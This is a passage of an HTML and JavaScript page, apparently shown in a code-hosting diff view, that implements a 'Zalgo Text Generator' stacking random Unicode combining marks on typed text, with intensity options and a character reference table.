'\u034e', '\u0353', '\u0354', '\u0355',
|
||||||
|
'\u0356', '\u0359', '\u035a', '\u0323'
|
||||||
|
];
|
||||||
|
var zalgo_mid = [
|
||||||
|
'\u0315', '\u031b', '\u0340', '\u0341',
|
||||||
|
'\u0358', '\u0321', '\u0322', '\u0327',
|
||||||
|
'\u0328', '\u0334', '\u0335', '\u0336',
|
||||||
|
'\u034f', '\u035c', '\u035d', '\u035e',
|
||||||
|
'\u035f', '\u0360', '\u0362', '\u0338',
|
||||||
|
'\u0337', '\u0361', '\u0489'
|
||||||
|
];
|
||||||
|
function rand(max) {
|
||||||
|
return Math.floor(Math.random() * max);
|
||||||
|
}
|
||||||
|
function rand_zalgo(array) {
|
||||||
|
var ind = Math.floor(Math.random() * array.length);
|
||||||
|
return array[ind];
|
||||||
|
}
|
||||||
|
function toggle(id) {
|
||||||
|
if(document.getElementById(id).style.display == "none")
|
||||||
|
document.getElementById(id).style.display = "block";
|
||||||
|
else
|
||||||
|
document.getElementById(id).style.display = "none";
|
||||||
|
}
|
||||||
|
function is_zalgo_char(c) {
|
||||||
|
var i;
|
||||||
|
for(i=0; i<zalgo_up.length; i++)
|
||||||
|
if(c == zalgo_up[i])
|
||||||
|
return true;
|
||||||
|
for(i=0; i<zalgo_down.length; i++)
|
||||||
|
if(c == zalgo_down[i])
|
||||||
|
return true;
|
||||||
|
for(i=0; i<zalgo_mid.length; i++)
|
||||||
|
if(c == zalgo_mid[i])
|
||||||
|
return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
function draw_zalgo_table(elid) {
|
||||||
|
var container = document.getElementById(elid);
|
||||||
|
var html = '';
|
||||||
|
html += '<b>UP:</b><br />\n';
|
||||||
|
html += '<table class="zalgo_ref_table">\n';
|
||||||
|
html += '<tr>\n';
|
||||||
|
for(var i=0; i<zalgo_up.length; i++) {
|
||||||
|
if(!(i % 10))
|
||||||
|
html += '</tr><tr>';
|
||||||
|
html += '<td class="zalgo_td">' + zalgo_up[i] + '</td>\n';
|
||||||
|
}
|
||||||
|
html += '</tr>\n';
|
||||||
|
html += '</table>\n';
|
||||||
|
html += '<br /><b>MIDDLE:</b><br />\n';
|
||||||
|
html += '<table class="zalgo_ref_table">\n';
|
||||||
|
html += '<tr>\n';
|
||||||
|
for(var i=0; i<zalgo_mid.length; i++) {
|
||||||
|
if(!(i % 10))
|
||||||
|
html += '</tr><tr>';
|
||||||
|
html += '<td class="zalgo_td">' + zalgo_mid[i] + '</td>\n';
|
||||||
|
}
|
||||||
|
html += '</tr>\n';
|
||||||
|
html += '</table>\n';
|
||||||
|
html += '<br /><b>DOWN:</b><br />\n';
|
||||||
|
html += '<table class="zalgo_ref_table">\n';
|
||||||
|
html += '<tr>\n';
|
||||||
|
for(var i=0; i<zalgo_down.length; i++) {
|
||||||
|
if(!(i % 10))
|
||||||
|
html += '</tr><tr>';
|
||||||
|
html += '<td class="zalgo_td">' + zalgo_down[i] + '</td>\n';
|
||||||
|
}
|
||||||
|
html += '</tr>\n';
|
||||||
|
html += '</table>\n';
|
||||||
|
container.innerHTML = html;
|
||||||
|
}
|
||||||
|
function zalgo_textarea(id) {
|
||||||
|
var p = document.getElementById(id);
|
||||||
|
var txt = p.value;
|
||||||
|
var newtxt = '';
|
||||||
|
for(var i=0; i<txt.length; i++) {
|
||||||
|
if(is_zalgo_char(txt.substr(i, 1)))
|
||||||
|
continue;
|
||||||
|
var num_up;
|
||||||
|
var num_mid;
|
||||||
|
var num_down;
|
||||||
|
newtxt += txt.substr(i, 1);
|
||||||
|
if(document.getElementById('zalgo_opt_mini').checked) {
|
||||||
|
num_up = rand(8);
|
||||||
|
num_mid = rand(2);
|
||||||
|
num_down = rand(8);
|
||||||
|
} else if(document.getElementById('zalgo_opt_normal').checked) {
|
||||||
|
num_up = rand(16) / 2 + 1;
|
||||||
|
num_mid = rand(6) / 2;
|
||||||
|
num_down = rand(16) / 2 + 1;
|
||||||
|
} else {
|
||||||
|
num_up = rand(64) / 4 + 3;
|
||||||
|
num_mid = rand(16) / 4 + 1;
|
||||||
|
num_down = rand(64) / 4 + 3;
|
||||||
|
}
|
||||||
|
if(document.getElementById('zalgo_opt_up').checked)
|
||||||
|
for(var j=0; j<num_up; j++)
|
||||||
|
newtxt += rand_zalgo(zalgo_up);
|
||||||
|
if(document.getElementById('zalgo_opt_mid').checked)
|
||||||
|
for(var j=0; j<num_mid; j++)
|
||||||
|
newtxt += rand_zalgo(zalgo_mid);
|
||||||
|
if(document.getElementById('zalgo_opt_down').checked)
|
||||||
|
for(var j=0; j<num_down; j++)
|
||||||
|
newtxt += rand_zalgo(zalgo_down);
|
||||||
|
}
|
||||||
|
var container = document.getElementById('lulz_container');
|
||||||
|
while(container.childNodes.length)
|
||||||
|
container.removeChild(container.childNodes[0]);
|
||||||
|
var lines = newtxt.split("\n");
|
||||||
|
for(var i=0; i<lines.length; i++) {
|
||||||
|
var n = document.createElement('text');
|
||||||
|
n.innerHTML = lines[i];
|
||||||
|
container.appendChild(n);
|
||||||
|
var nl = document.createElement('br');
|
||||||
|
container.appendChild(nl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<center>
|
||||||
|
<h1>Zalgo Text Generator</h1>
|
||||||
|
<table id="zalgotable"><tbody><tr>
|
||||||
|
<td align="center" id="lulz_container" height="200" width="170">
|
||||||
|
<p align="center" id=lulz></p>
|
||||||
|
</td>
|
||||||
|
</tr><tr>
|
||||||
|
<td style="border:#000 1px solid;" width=200>
|
||||||
|
<input id=zalgo_txt value="im gay" size=50><br><br>
|
||||||
|
<FORM id=zalgo_form action=""><INPUT id=zalgo_btn onclick="zalgo_textarea('zalgo_txt');" type=button value="Zalgo">
|
||||||
|
<INPUT id=zalgo_ref style="FLOAT: right" onclick="toggle('reference');" type=button value="Toggle Reference">
|
||||||
|
<table>
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<input id=zalgo_opt_up type=checkbox CHECKED>Up
|
||||||
|
<br><input id=zalgo_opt_mid type=checkbox CHECKED>Middle
|
||||||
|
<br><input id=zalgo_opt_down type=checkbox CHECKED>Down
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<input id=zalgo_opt_mini type=radio name=optval>Minimal
|
||||||
|
<br><input id=zalgo_opt_normal type=radio CHECKED name=optval>Medium
|
||||||
|
<br><input id=zalgo_opt_maxi type=radio name=optval>Maximum
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
<script> zalgo_textarea('zalgo_txt'); </script>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<div id=reference style="display:none">
|
||||||
|
<h2>Zalgo Character Reference</h2>
|
||||||
|
<p id=zalgo_ref_tablex><script> draw_zalgo_table('zalgo_ref_tablex');</script></p>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
Loading…
Reference in New Issue
Block a user